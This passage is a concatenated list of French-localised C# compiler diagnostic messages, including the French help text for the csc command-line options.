'{0}' est un doublon + Un champ readonly ne peut pas faire l'objet d'une assignation de valeur (sauf dans un constructeur ou une méthode setter d'initialisation uniquement du type dans lequel le champ est défini ou représente un initialiseur de variable) + Le {0} '{1}' non-nullable doit contenir une valeur non-null lors de la fermeture du constructeur. Envisagez de déclarer le {0} comme nullable. + L'alias using '{0}' est apparu précédemment dans cet espace de noms + L'argument {0} doit être passé avec le mot clé '{1}' + Impossible d'utiliser le paramètre de constructeur principal de type '{0}' dans un membre d'instance + CallerArgumentExpressionAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerMemberNameAttribute. + La nullabilité des types référence dans le type de retour ne correspond pas à la déclaration de méthode partielle. + Valeur non valide pour l'argument d'attribut nommé '{0}' + Contrainte '{0}' en double pour le paramètre de type '{1}' + Les membres du champ readonly '{0}' de type '{1}' ne peuvent pas être assignés avec un initialiseur d'objet, car il s'agit d'un type valeur + Les événements comparables à des champs ne sont pas autorisés dans les structs en lecture seule. + Le nom d'élément de tuple '{0}' est ignoré, car un autre nom est spécifié ou aucun nom n'est spécifié de l'autre côté de l'opérateur de tuple == ou !=. + Le modificateur 'async' ne peut être utilisé que dans des méthodes ayant un corps. + L'expression switch ne prend pas en charge certaines entrées ayant une valeur null. + Les déclarations partielles de '{0}' ne doivent pas spécifier des classes de base différentes + '{0}' est inaccessible en raison de son niveau de protection + L'opérateur de suppression n'est pas autorisé dans ce contexte + Les membres hérités '{0}' et '{1}' ayant la même signature dans le type '{2}', ils ne peuvent pas être substitués + L'accès de l'indexeur doit être dispatché dynamiquement, mais ne peut pas l'être car il fait partie d'une expression d'accès de base. Effectuez un cast des arguments dynamiques ou supprimez l'accès de base. + '{0}' n'a aucune méthode applicable nommée '{1}' mais semble avoir une méthode d'extension portant ce nom. Les méthodes d'extension ne peuvent pas être dispatchées dynamiquement. Effectuez un cast des arguments dynamiques ou appelez la méthode d'extension sans la syntaxe de méthode d'extension. + '{0}' : les propriétés abstraites ne peuvent pas avoir d'accesseurs private + 'L'expression donnée de l'expression 'is' n'est jamais du type fourni + L’indexeur de tableau inline ne sera pas utilisé pour l’expression d’accès à l’élément. + Le runtime cible ne prend pas en charge les membres abstraits statiques dans les interfaces. + La chaîne de version spécifiée '{0}' n’est pas conforme au format requis : major.minor.build.revision (sans caractères génériques) + N'utilisez pas l'attribut 'System.Runtime.CompilerServices.FixedBuffer' sur une propriété + Erreur lors de l'ouverture du fichier manifeste Win32 {0} -- {1} + UnscopedRefAttribute peut uniquement être appliqué aux méthodes et propriétés d’instance de struct, et ne peut pas être appliqué aux constructeurs ou aux membres init uniquement. + '{0}' est un nouveau membre virtuel du type sealed '{1}' + La nullabilité des types référence dans le type de paramètre ne correspond pas à la déclaration de méthode partielle. + Une arborescence de l'expression ne peut pas contenir une propriété indexée + Syntaxe de checksum #pragma incorrecte + Le littéral brut de la chaîne de caractères ne commence pas par un nombre suffisant de caractères de guillemets pour autoriser un tel nombre de caractères de guillemets consécutifs comme contenu. + LookupOptions a une combinaison d'options non valide + Un initialiseur de tableau de longueur '{0}' est attendu + Impossible de retourner un champ readonly par référence accessible en écriture + instruction fixed extensible + Une arborescence de l'expression ne peut pas contenir d'expression d'index partant de la fin ('^'). + tableaux en ligne + Une expression switch ou une étiquette case doit être de type bool, char, string, integral, enum ou Nullable correspondant en C# 6 et dans les versions antérieures. + L'emplacement doit être indiqué pour fournir une qualification de type minimale. + Les modules ajoutés doivent être marqués avec l'attribut CLSCompliant pour correspondre à l'assembly + Le type '{2}' doit être un type référence afin d'être utilisé comme paramètre '{1}' dans le type ou la méthode générique '{0}' + Une soumission ne peut inclure que du code de script. + L'enregistrement définit 'Equals' mais pas 'GetHashCode'. + '{0}' : substitution impossible, car '{1}' n'a pas d'accesseur get substituable + Une clause catch précédente intercepte déjà toutes les exceptions + indexation de mémoires tampons fixes mobiles + '{0}' est un fichier binaire et non un fichier texte + Les attributs ciblés par des champs sur les propriétés automatiques ne sont pas pris en charge dans cette version du langage. + L'expression switch doit être une valeur. '{0}' trouvé. + Impossible d'assigner '{0}' à une propriété de type anonyme + Utilisation d'une propriété implémentée automatiquement éventuellement non assignée + Impossible d'ouvrir '{0}' en écriture -- '{1}' + L’implémentation explicite d’un opérateur « {0} » défini par l’utilisateur doit être déclarée comme static + Possibilité d'instruction vide erronée + Impossible de créer un délégué à partir de la méthode '{0}', car il s'agit d'une méthode partielle sans déclaration d'implémentation + Ne pas substituer object.Finalize. Fournir un destructeur à la place. + constructeur et destructeur du corps d'expression + Modèle relationnel + La nullabilité des types référence dans le type de retour ne correspond pas au membre substitué. + Nom de fichier entre guillemets, commentaire sur une seule ligne ou fin de ligne attendu + Le membre '{0}' doit avoir une valeur non null au moment de la sortie avec '{1}'. + L'attribut cref '{0}' du commentaire XML fait référence à un paramètre de type + Le délégué '{0}' n'a pas de constructeur valide + paramètres ref readonly + La déconstruction doit contenir au moins deux variables. + La méthode d'extension '{0}' définie dans le type valeur '{1}' ne peut pas être utilisée pour créer des délégués + Accessibilité incohérente : la classe de base '{1}' est moins accessible que la classe '{0}' + Un goto case n'est valide qu'au sein d'une instruction switch + Retourne par référence un membre du paramètre '{0}' via un paramètre ref ; mais il peut uniquement être retourné en toute sécurité dans une instruction return + La classe System.Object ne peut pas posséder de classe de base ni implémenter une interface + Utilisation d'une variable locale non assignée + Une fonction anonyme statique ne peut pas contenir de référence à 'this' ou 'base'. + '{0}' : impossible de modifier les modificateurs d'accès en cas de substitution du membre hérité '{2}' de '{1}' + Les indexeurs ne peuvent pas être de type void + Accessibilité incohérente : le type de paramètre '{1}' est moins accessible que l'opérateur '{0}' + '{0}' doit correspondre par initialisation uniquement au membre substitué '{1}' + Un champ const nécessite une valeur + Impossible de restaurer un avertissement 'CS{0}', car il a été désactivé globalement + L'introduction d'une méthode 'Finalize' peut interférer avec un appel destructeur. Souhaitiez-vous déclarer un destructeur ? + Un membre de '{0}' est retourné par référence, mais il a été initialisé à une valeur qui ne peut pas être retournée par référence + La nullabilité du type de retour ne correspond pas au membre substitué (probablement en raison des attributs de nullabilité). + Les types et les alias ne doivent pas porter le nom 'record'. + Le corps de '{0}' ne peut pas être un bloc itérateur, car '{0}' effectue un retour par référence + Nombre d'index incorrect dans [] ; {0} attendu + La signature différée a été spécifiée et nécessite une clé publique, mais aucune clé publique n'a été spécifiée + Une méthode marquée [DoesNotReturn] ne doit pas être retournée. + Terme d'expression '{0}' non valide + Le modificateur d'accessibilité de l'accesseur '{0}' doit être plus restrictif que la propriété ou l'indexeur '{1}' + Le CallerFilePathAttribute peut seulement être appliqué aux paramètres avec des valeurs par défaut + Spécification de fichier manquante pour l'option '{0}' + Les déclarations de méthodes partielles doivent avoir des valeurs de retour ref correspondantes. + Nom de fichier entre guillemets attendu + La conversion définie par l'utilisateur dans le type '{0}' est en double + Type byte, sbyte, short, ushort, int, uint, long ou ulong attendu + Le contrôle est retourné à l’appelant avant que la propriété implémentée automatiquement '{0}' soit explicitement affectée, ce qui provoque une attribution implicite précédente de 'default'. + Utilisation inattendue d'un nom générique + '{0}' n'a pas besoin d'attribut CLSCompliant, car l'assembly n'en a pas + La signature de classe wrapper de coclasse managée '{0}' pour l'interface '{1}' n'est pas une signature de nom de classe valide + Le type '{1}' existe dans '{0}' et '{2}' + Le type « {0} » ne peut pas être utilisé dans ce contexte, car il ne peut pas être représenté dans les métadonnées. + Existence possible d'un argument de référence null pour le paramètre '{0}' dans '{1}'. + Le type est en conflit avec le type importé + Une valeur constante de type '{0}' est attendue + Impossible de créer un type générique construit à partir d'un type non générique. + Un caractère '{0}' ne peut faire l'objet d'une séquence d'échappement qu'en doublant '{0}{0}' dans une chaîne interpolée. + Élément include XML incorrect + Existence possible d'un retour de référence null. + Cet avertissement survient lorsque vous créez une classe avec une méthode dont la signature est public virtual void Finalize. + +Si une telle classe est utilisée en tant que classe de base et si la classe dérivée définit un destructeur, celui-ci remplacera la méthode Finalize de la classe de base, et non Finalize. + "Spécificateur de rang non valide : ']' attendu + initialiseur stackalloc + N'utilisez pas l'attribut 'System.Runtime.CompilerServices.FixedBuffer'. Utilisez le modificateur de champ 'fixed' à la place. + L'utilisation de null n'est pas valide dans ce contexte + Retourne par référence un membre du paramètre via un paramètre ref ; mais il peut uniquement être retourné en toute sécurité dans une instruction return + Le membre d'enregistrement '{0}' doit être privé. + directive using globale + Le qualificateur d'alias d'espace de noms '::' est toujours résolu en type ou en espace de noms ; il est donc non conforme ici. Utilisez '.' à la place. + Les opérateurs de conversion, d’égalité ou d’inégalité déclarés dans les interfaces doivent être abstraits ou virtuels + Impossible d'utiliser le paramètre de type '{0}' avec l'opérateur 'as', car il n'a pas de contrainte de type classe ni de contrainte 'class' + Le type de fichier local '{0}' doit être déclaré dans un fichier avec un chemin d’accès unique. Le chemin d’accès '{1}' est utilisé dans plusieurs fichiers. + Le mot clé 'base' n'est pas disponible dans une méthode statique + La fonctionnalité expérimentale « intercepteurs » n'est pas activée dans cet espace de noms. Ajoutez « {0} » à votre projet. + Impossible d'initialiser le membre '{0}'. Il ne s'agit pas d'un champ ou d'une propriété. + Ambiguïté entre '{0}' et '{1}' + La fonction locale est déclarée mais jamais utilisée + Erreur de syntaxe de ligne de commande : Guid manquant pour l'option '{1}' + Impossible d'utiliser '{0}' en tant que type {1} sur une méthode ayant pour attribut 'UnmanagedCallersOnly'. + L'assembly référencé '{0}' cible un processeur différent. + Impossible d'assigner {0} à une variable implicitement typée + Une erreur s'est produite durant l'écriture du fichier de sortie : {0}. + '{0}' : un constructeur statique ne peut pas avoir d'appel de constructeur 'this' ou 'base' explicite + variable d'environnement LIB + La méthode d'initialiseur de module '{0}' doit être accessible au niveau du module + '{0}' ne peut pas implémenter '{1}', car '{2}' est un événement Windows Runtime et '{3}' est un événement .NET normal. + '{0}' est obsolète + '{0}' est de type '{1}'. Le type spécifié dans une déclaration de constante doit être sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, un type enum ou un type référence. + Le format de la chaîne de version spécifiée n'est pas conforme au format requis - major.minor.build.revision + La conversion définie par l'utilisateur dans une interface doit convertir vers ou depuis un paramètre de type sur le type englobant contraint au type englobant. + Le paramètre '{0}' n'a pas de balise param correspondante dans le commentaire XML pour '{1}' (contrairement à d'autres paramètres) + La propriété indexée '{0}' a des arguments non facultatifs qui doivent être fournis + Pour que le type '{0}' soit utilisé comme AsyncMethodBuilder du type '{1}', sa propriété Task doit retourner le type '{1}' à la place du type '{2}'. + '{0}' : un champ ne peut pas être à la fois volatile et readonly + Seuls les enregistrements peuvent hériter d'enregistrements. + Littéral de chaîne brute inachevé. + Les attributs sur les expressions lambda nécessitent une liste de paramètres entre parenthèses. + Les types statiques ne peuvent pas être utilisés en tant que paramètres + directive #endregion attendue + <manquant> + Le littéral brut interpolé de la chaîne de caractères ne commence pas par un nombre suffisant de caractères '$' pour permettre un tel nombre d'accolades ouvrantes consécutives comme contenu. + La nullabilité des types référence dans le type ne correspond pas au membre implémenté implicitement. + Le nom de paramètre '{0}' est en conflit avec un nom de paramètre généré automatiquement + Les paramètres de type ne sont pas autorisés sur un groupe de méthodes en tant qu'argument pour 'nameof'. + Accessibilité incohérente : le type de paramètre '{1}' est moins accessible que le délégué '{0}' + L’utilisation de l’alias ne peut pas être un type 'ref'. + Une clause catch précédente intercepte déjà toutes les exceptions. Tous les objets levés autres que les exceptions seront enveloppées dans System.Runtime.CompilerServices.RuntimeWrappedException. + Impossible d'insérer tout ou partie du code XML inclus + Impossible d'attendre '{0}' + La contrainte 'default' est uniquement valide sur les méthodes de substitution et d'implémentation d'interface explicite. + paramètre + Une valeur de constante est attendue + Le générateur « {0} » n'a pas réussi à générer la source. Cela ne contribuera pas à la sortie et des erreurs de compilation pourraient en résulter. L'exception était de type « {1} » avec le message « {2} ». +{3} + Le paramètre de type '{0}' a le même nom que le paramètre de type du type externe '{1}' + Impossible de convertir implicitement un littéral de type double en type '{1}' ; utilisez un suffixe '{0}' pour créer un littéral de ce type + There is no target type for the collection expression. + Une variable ne peut pas être déclarée dans un modèle 'not' ou 'or'. + + Options du compilateur Visual C# + + - FICHIERS DE SORTIE - +-out:<file> Spécifiez le nom du fichier de sortie (par défaut : nom de base du + fichier avec la classe principale ou le premier fichier) +-target:exe Construire un exécutable de console (par défaut) (forme + courte : -t:exe) +-target:winexe Construire un exécutable Windows (forme courte : + -t:winexe) +-target:library Construire une bibliothèque (forme courte : -t:library) +-target:module Construire un module qui peut être ajouté à une autre + assemblée (Forme courte : -t:module) +-target:appcontainerexe Créer un exécutable Appcontainer (forme courte : + -t:appcontainerexe) +-target:winmdobj Créez un fichier intermédiaire Windows Runtime qui + est consommé par WinMDExp (forme courte : -t:winmdobj) +-doc:<file> Fichier de documentation XML à générer +-refout:<file> Sortie d’assemblée de référence à générer +-platform:<string> Limitez les plates-formes sur lesquelles ce code peut s'exécuter : x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred ou + n'importe quel processeur. La valeur par défaut est anycpu. + + - FICHIERS D'ENTRÉE - +-recurse:<wildcard> Inclut tous les fichiers du répertoire et + des sous-répertoires en cours conformément aux spécifications + des caractères génériques +-reference:<alias>=<file> Métadonnées de référence du fichier d'assemblage + spécifié à l'aide de l'alias donné (forme courte : -r) +-reference:<file list> Métadonnées de référence des fichiers d'assemblage + spécifiés (forme courte : -r) +-addmodule:<file list> Lier les modules spécifiés dans cette assemblée +-link:<file list> Incorporer les métadonnées des fichiers d'assemblage d'interopérabilité + spécifiés (forme courte : -l) +-analyzer:<file list> Exécutez les analyseurs à partir de cet assemblage + (Forme courte : -a) +-additionalfile:<file list> Fichiers supplémentaires qui n'affectent pas directement + la génération de code mais peuvent être utilisés par les analyseurs pour produire + des erreurs ou des avertissements. +-embed Intégrez tous les fichiers source dans la PDB. +-embed:<file list> Intégrer des fichiers spécifiques dans la PDB. + + - RESSOURCES - +-win32res:<file> Spécifiez un fichier de ressources Win32 (.res) +-win32icon:<file> Utilisez cette icône pour la sortie +-win32manifest:<file> Spécifier un fichier manifeste Win32 (.xml) +-nowin32manifest Ne pas inclure le manifeste Win32 par défaut +-resource:<resinfo> Incorporer la ressource spécifiée (forme courte : -res) +-linkresource:<resinfo> Lier la ressource spécifiée à cette assemblée + (Forme courte : -linkres) Où le format resinfo + est <file>[,<string name>[,public|private]] + + - GÉNÉRATION DE CODES - +-debug[+|-] Émettre des informations de débogage +-debug:{full|pdbonly|portable|embedded} + Spécifiez le type de débogage ("full" est la valeur par défaut, + "portable" est un format multiplateforme, + "embedded" est un format multiplateforme intégré + dans le fichier .dll ou .exe cible) +-optimize[+|-] Activer les optimisations (Forme courte : -o) +-deterministic Produire un assemblage déterministe + (y compris le GUID et l'horodatage de la version du module) +-refonly Produire un assemblage de référence à la place de la sortie principale +-instrument:TestCoverage Produire un assemblage instrumenté pour collecter + les informations de couverture +-sourcelink:<file> Informations sur le lien source à intégrer dans PDB. + + - ERREURS ET AVERTISSEMENTS - +-warnaserror[+|-] Signaler tous les avertissements comme des erreurs +-warnaserror[+|-]:<warn list> Signaler des avertissements spécifiques comme des erreurs + (utilisez "nullable" pour tous les avertissements de nullité) +-warn:<n> Définir le niveau d'avertissement (0 ou supérieur) (Forme abrégée : -w) +-nowarn:<warn list> Désactiver les messages d'avertissement spécifiques + (utilisez "nullable" pour tous les avertissements de nullité) +-ruleset:<file> Spécifiez un fichier d'ensemble de règles qui désactive des + diagnostics spécifiques. +-errorlog:<file>[,version=<sarif_version>] + Spécifiez un fichier pour consigner tous les diagnostics du compilateur et + de l'analyseur. + sarif_version:{1|2|2.1} La valeur par défaut est 1. 2 et 2.1 + les deux signifient SARIF version 2.1.0. +-reportanalyzer Signalez des informations supplémentaires sur l'analyseur, telles que + le temps d'exécution. +-skipanalyzers[+|-] Sauter l'exécution des analyseurs de diagnostic. + + - LANGUE - +-checked[+|-] Générer des contrôles de débordement +-unsafe[+|-] Autoriser le code "non sécurisé" +-define:<symbol list> Définir le(s) symbole(s) de compilation conditionnelle (Forme + courte : -d) +-langversion:? Afficher les valeurs autorisées pour la version linguistique +-langversion:<string> Spécifiez la version de la langue, telle que + `latest` (dernière version, y compris les versions mineures), + `default` (identique à `latest`), + `latestmajor` (dernière version, à l'exclusion des versions mineures), + `preview` (dernière version, y compris les fonctionnalités de aperçu non pris en charge), + ou des versions spécifiques telles que "6" ou "7.1" +-nullable[+|-] Spécifiez l'option de contexte nullable enable|disable. +-nullable:{enable|disable|warnings|annotations} + Spécifiez l'option de contexte nullable enable|disable|warnings|annotations. + + - SÉCURITÉ - +-delaysign[+|-] Différer la signature de l'assembly en utilisant uniquement + la partie publique de la clé de nom fort +-publicsign[+|-] Signature publique de l'assembly en utilisant uniquement la partie + publique de la clé de nom fort +-keyfile:<file> Spécifiez un fichier de clé de nom fort +-keycontainer:<string> Spécifier un conteneur de clé de nom fort +-highentropyva[+|-] Activer l'ASLR à haute entropie + + - DIVERS - +@<file> Lire le fichier de réponse pour plus d'options +-help Afficher ce message d'utilisation (Forme courte : - ?) +-nologo Supprimer le message de copyright du compilateur +-noconfig Ne pas inclure automatiquement le fichier CSC.RSP +-parallel[+|-] Construction simultanée. +-version Affichez le numéro de version du compilateur et quittez. + + - AVANCÉ - +-baseaddress:<address> Adresse de base de la bibliothèque à construire +-checksumalgorithm:<alg> Spécifier l'algorithme pour calculer la somme de contrôle du fichier + source stocké dans PDB. Les valeurs prises en charge sont : + SHA1 ou SHA256 (par défaut). +-codepage:<n> Spécifiez la page de code à utiliser lors de l'ouverture des fichiers + source +-utf8output Sortir les messages du compilateur en codage UTF-8 +-main:<type> Spécifiez le type qui contient le point d'entrée + (ignorer tous les autres points d'entrée possibles) (Forme + courte : -m) +-fullpaths Le compilateur génère des chemins entièrement qualifiés +-filealign:<n> Spécifiez l'alignement utilisé pour les sections du fichier + de sortie +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Spécifiez un mappage pour les noms de chemin source générés + par le compilateur. +-pdb:<file> Spécifiez le nom du fichier d'informations de débogage (par défaut : + nom du fichier de sortie avec l'extension .pdb) +-errorendlocation Ligne et colonne de sortie de l'emplacement de fin de + chaque erreur +-preferreduilang Spécifiez le nom de la langue de sortie préférée. +-nosdkpath Désactivez la recherche du chemin SDK par défaut pour les assemblages de bibliothèque standard. +-nostdlib[+|-] Ne référencez pas la bibliothèque standard (mscorlib.dll) +-subsystemversion:<string> Spécifiez la version du sous-système de cet assemblage +-lib:<file list> Spécifiez des répertoires supplémentaires dans lesquels rechercher + des références +-errorreport:<string> Spécifiez comment gérer les erreurs internes du compilateur : + invite, envoie, file d'attente ou aucun. La valeur par défaut est + la file d'attente. +-appconfig:<file> Spécifier un fichier de configuration d'application + contenant les paramètres de liaison d’assemblée +-moduleassemblyname:<string> Nom de l'assemblage dont ce module fera + partie +-modulename:<string> Spécifiez le nom du module source +-generatedfilesout:<dir> Placer les fichiers générés lors de la compilation dans le + répertoire spécifié. +-reportivts[+|-] Générez des informations sur tous les IVT accordés à cette + assemblée par toutes les dépendances et annotez les erreurs + d'accessibilité d'assembly étranger avec l'assembly d'où elles proviennent. + + Erreur de syntaxe ; valeur attendue + '{0}' ne peut pas être sealed, car il ne s'agit pas d'une substitution + #error : '{0}' + La variable de portée '{0}' a déjà été déclarée + Une clé publique de signature non valide a été spécifiée dans AssemblySignatureKeyAttribute. + Le nom d'élément tuple '{0}' est ignoré, car un autre nom est spécifié ou aucun nom n'est spécifié par le type cible '{1}'. + Cet avertissement survient lorsque vous essayez d'appeler une méthode, une propriété ou un indexeur sur le membre d'une classe dérivant de MarshalByRefObject, et que ce membre est un type de valeur. Les objets héritant de MarshalByRefObject doivent généralement être marshalés par référence dans un domaine d'application. Si un code tente d'accéder directement au membre de type valeur d'un tel objet dans un domaine d'application, cela entraîne une exception de runtime. Pour résoudre cet avertissement, veuillez d'abord copier le membre dans une variable locale, avant d'appeler la méthode sur cette variable. + Impossible d'intercepter l'appel avec '{0}' car il n'est pas accessible dans '{1}'. + Deux indexeurs ont des noms différents ; l'attribut IndexerName doit être utilisé avec le même nom sur chaque indexeur d'un type + Le modificateur de genre de référence du paramètre ne correspond pas au paramètre correspondant dans la cible. + Avec 'await', le type de retour '{0}' de '{1}.GetAwaiter()' doit avoir des membres 'IsCompleted', 'OnCompleted' et 'GetResult' appropriés. De plus, il doit implémenter 'INotifyCompletion' ou 'ICriticalNotifyCompletion' + '{0}' est une référence ambiguë entre '{1}' et '{2}' + Un constructeur déclaré dans un 'struct' avec une liste de paramètres doit avoir un initialiseur 'this' qui appelle le constructeur principal ou un constructeur explicitement déclaré. + L'option se substitue à l'attribut spécifié dans un fichier source ou un module ajouté + Les types et alias ne peuvent pas être nommés « required ». + '{0}' : 'readonly' peut uniquement être utilisé sur des accesseurs si la propriété ou l'indexeur a un accesseur get et un accesseur set + Dépendance de type de base circulaire impliquant '{0}' et '{1}' + Identificateur ou littéral numérique attendu + Impossible de convertir implicitement le type '{0}' en '{1}' + Déréférencement d'une éventuelle référence null. + Impossible d'inclure le fragment XML + Retourne une variable locale par référence, mais il ne s'agit pas d'une variable locale de référence + '{0}' : l'événement d'instance présent dans l'interface ne peut pas avoir d'initialiseur + '{0}' n'est pas un type de convention d'appel valide pour 'UnmanagedCallersOnly'. + Le constructeur '{0}' ne peut pas s'appeler lui-même + Un commentaire sur une seule ligne ne doit pas être utilisé dans une chaîne interpolée. + La variable local est retournée par référence, mais elle a été initialisée à une valeur qui ne peut pas être retournée par référence + Une variable ou une fonction locale nommée '{0}' est déjà définie dans cette portée + Impossible d'intercepter : la compilation ne contient pas de fichier avec le chemin "{0}". Vouliez-vous utiliser le chemin '{1}' ? + Les numéros de mise en production et/ou de version des deux assemblys diffèrent. Pour procéder à l'unification, veuillez spécifier les directives adéquates dans le fichier .config de l'application et fournir le nom fort correct d'un assembly. + Impossible de modifier la valeur de retour de '{0}' car il ne s'agit pas d'une variable + '{0}' : le type de base '{1}' n'est pas conforme CLS + Une valeur doit être affectée au membre obligatoire '{0}', il ne peut pas utiliser de membre imbriqué ou d’initialiseur de collection. + Les instructions de niveau supérieur doivent précéder les déclarations d'espace de noms et de type. + Les déclarations de méthode partielles « {0} » et « {1} » ont des différences de signature. + Le fichier source ne peut pas contenir à la fois des déclarations d'espace de nom de fichier et d'espace de nom normal. + Impossible d'assigner à '{0}', car il est en lecture seule + utilisation de l’alias de type + Le paramètre {0} est déclaré comme type '{1}{2}' mais doit être '{3}{4}' + Erreur lors de la lecture du fichier '{0}' spécifié pour l'argument nommé '{1}' pour l'attribut PermissionSet : '{2}' + Une arborescence de l'expression ne peut pas contenir d'expression switch. + Une clause de contrainte a déjà été spécifiée pour le paramètre de type '{0}'. Toutes les contraintes spécifiées pour un paramètre de type doivent l'être dans une seule clause where. + Le modificateur 'static' doit précéder le modificateur 'unsafe'. + avec sur les types anonymes + Impossible d'attendre 'void' + Impossible de retourner la variable locale '{0}' par référence, car il ne s'agit pas d'une variable locale de référence + L'appel du constructeur doit être dispatché dynamiquement, mais ne peut pas l'être car il fait partie d'un initialiseur de constructeur. Effectuez un cast des arguments dynamiques. + Impossible de déduire le type de variable de sortie implicitement typée. '{0}'. + Impossible d'incorporer les types interop de l'assembly '{0}', car l'attribut '{1}' est manquant. + La directive span #line requiert un espace avant la première parenthèse, avant le décalage du caractère et avant le nom du fichier + initialiseur d'objet + Les variables implicitement typées ne peuvent pas avoir plusieurs déclarateurs + Impossible de retourner {0} '{1}' par référence accessible en écriture, car il s'agit d'une variable en lecture seule + Un espace de noms ne peut pas contenir directement des membres tels que des champs, des méthodes ou des instructions + La modificateur de membre '{0}' doit précéder le type et le nom de membre + L'expression switch ne prend pas en charge toutes les valeurs possibles de son type d'entrée (elle n'est pas exhaustive). + Interception d'un appel à '{0}' avec l'intercepteur '{1}', mais les signatures ne correspondent pas. + } attendue + Bloc switch vide + Argument d'attribut nommé attendu + La chaîne d’entrée ne peut pas être convertie en représentation d’octet UTF-8 équivalente. {0} + Le paramètre contient plusieurs valeurs par défaut distinctes. + L'argument de type '{0}' n'est pas applicable pour l'attribut DefaultParameterValue + La conversion définie par l'utilisateur doit convertir vers le type englobant ou à partir de celui-ci + Utilisation d'un champ potentiellement non assigné + Le membre '{0}' de la structure de type '{1}' engendre un cycle dans la disposition de la structure + Le type de contrainte n'est pas conforme CLS + Modèle entre parenthèses + Impossible d'appliquer la classe d'attributs '{0}', car elle est abstract + Retourne un membre de la variable locale '{0}' par référence, mais il ne s'agit pas d'une variable locale de référence + L'expression donnée correspond toujours à la constante fournie. + '{0}' doit déclarer un corps, car il n'est pas marqué comme abstract, extern ou partial + Code inaccessible détecté + '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}', car la fonctionnalité '{3}' n'est pas disponible en C# {4}. Utilisez la version de langage '{5}' ou une version ultérieure. + Le champ ref '{0}' doit être assigné à la référence avant utilisation. + Existence possible d'une assignation de référence null. + structs d’enregistrement + Cette méthode async n'a pas d'opérateur 'await' et elle s'exécutera de façon synchrone. Utilisez l'opérateur 'await' pour attendre les appels d'API non bloquants ou 'await Task.Run(…)' pour effectuer un travail utilisant le processeur sur un thread d'arrière-plan. + Le mot clé contextuel 'var' ne peut pas être utilisé comme type de retour lambda explicite + méthodes setter d'initialisation uniquement + La variable de portée '{0}' ne peut pas avoir le même nom qu'un paramètre de type de méthode + Aucun constructeur n'est défini pour le type '{0}' + méthode anonyme + Un script est attendu (fichier .csx), mais aucun n'est spécifié + Seule une déclaration de type partiel d’un seul enregistrement peut avoir une liste de paramètres. + Les modèles de tranche ne peuvent pas être utilisés pour une valeur de type '{0}'. + Retourne un paramètre par référence, mais il ne s’agit pas d’un paramètre ref + types Nullable + '{0}' nécessite la fonctionnalité de compilateur '{1}', qui n’est pas prise en charge par cette version du compilateur C#. + Le constructeur principal est en conflit avec le constructeur de copie synthétisée. + Option /noconfig ignorée, car elle était spécifiée dans un fichier réponse + types référence Nullable + La déconstruction de 'var (...)' form interdit un type spécifique pour 'var'. + Le numéro de ligne spécifié pour la directive #line est manquant ou non valide + Impossible d'inclure le fichier XML "{0}" incorrect + Impossible de charger l'assembly Analyseur {0} : {1} + L'opérateur défini par l'utilisateur '{0}' doit être déclaré static et public + Déclaration non valide ; utilisez plutôt l'opérateur '{0} <dest-type> (...' + '{0}' : les types static ne peuvent pas être utilisés en tant que types de retour + '{0}' ne doit pas avoir de paramètre params, car '{1}' n'en possède pas + La variable local '{0}' est retournée par référence, mais elle a été initialisée à une valeur qui ne peut pas être retournée par référence + Le contrôle est retourné à l’appelant avant que le champ ne soit explicitement affecté, ce qui provoque une attribution implicite précédente de « default ». + Impossible de créer le fichier temporaire -- {0} + La meilleure surcharge pour '{0}' n'a pas de paramètre nommé '{1}' + Le paramètre de type '{0}' a le même nom que le type conteneur ou la méthode + Un membre masque un membre hérité ; le mot clé new est manquant + Une méthode partielle doit être déclarée au sein d'un type partiel + Le type '{1}' dans '{0}' est en conflit avec l'espace de noms importé '{3}' dans '{2}'. Utilisation du type défini dans '{0}'. + L'espace de noms '{1}' dans '{0}' est en conflit avec le type importé '{3}' dans '{2}'. Utilisation de l'espace de noms défini dans '{0}'. + La méthode Add surchargée '{0}' correspondant le mieux à l'initialiseur de collection a des arguments non valides + Une expression de type '{0}' ne peut jamais correspondre au modèle fourni. + Les modèles de liste ne peuvent pas être utilisés pour une valeur de type '{0}'. Aucune propriété 'Longueur' ou 'Compte' appropriée n’a été trouvée. + La création de tableau doit posséder une taille de tableau ou un initialiseur de tableau + égalité de tuple + Le paramètre de type '{0}' n'a pas de balise typeparam correspondante dans le commentaire XML de '{1}' (contrairement à d'autres paramètres de type) + Impossible d'intercepter : Le chemin '{0}' n'est pas mappé. Chemin mappé attendu '{1}'. + Un paramètre in ne peut pas avoir l'attribut Out + L'assignation dans une expression conditionnelle est toujours constante ; voulez-vous utiliser == au lieu de = ? + Erreur lors de la lecture du fichier manifeste Win32 '{0}' -- '{1}' + Une arborescence de l’expression ne peut pas contenir une conversion de gestionnaire de chaîne interpolée. + Les branches d'un opérateur conditionnel ref font référence à des variables ayant des étendues de déclaration incompatibles + L'attribut '{0}' du module '{1}' sera ignoré au profit de l'instance présente dans la source + Impossible d'assigner {0} à une variable de portée + Un paramètre params doit être le dernier paramètre dans une liste de paramètres + La correspondance avec le type de tuple '{0}' nécessite des sous-modèles '{1}', mais des sous-modèles '{2}' sont présents. + Une instruction throw sans argument n'est pas autorisée dans une clause finally qui est imbriquée dans la clause catch englobante la plus proche + L'accesseur 'set' '{0}' implémenté automatiquement ne peut pas être marqué 'readonly'. + Le tuple doit contenir au moins deux éléments. + Le type '{0}' ne peut pas être utilisé comme argument de type + L'instruction foreach ne peut pas fonctionner sur des variables de type '{0}', car '{0}' ne contient pas de définition d'extension ou d'instance publique pour '{1}'. Vouliez-vous dire 'await foreach' plutôt que 'foreach' ? + Le nom de fichier '{0}' est vide, contient des caractères non valides, spécifie un lecteur sans chemin d'accès absolu ou est trop long + Cette référence affecte '{1}' à '{0}', mais '{1}' a une étendue d’échappement de valeur plus large que '{0}' permettant l’affectation via '{0}' de valeurs avec des étendues d’échappement plus restreintes que '{1}'. + La nullabilité des types référence dans le type de paramètre ne correspond pas au membre substitué. + Le runtime cible ne prend pas en charge l'accessibilité 'protected', 'protected internal' ou 'private protected' d'un membre d'interface. + Impossible d'incorporer le type interop '{0}', car il lui manque l'attribut '{1}' obligatoire. + Une expression lambda convertie en délégué retournant « {0} » ne peut pas retourner une valeur + contraintes de type générique unmanaged + L'annotation pour les types référence Nullable doit être utilisée uniquement dans le code au sein d'un contexte d'annotations '#nullable'. Le code généré automatiquement nécessite une directive '#nullable' explicite dans la source. + Le nom de langue 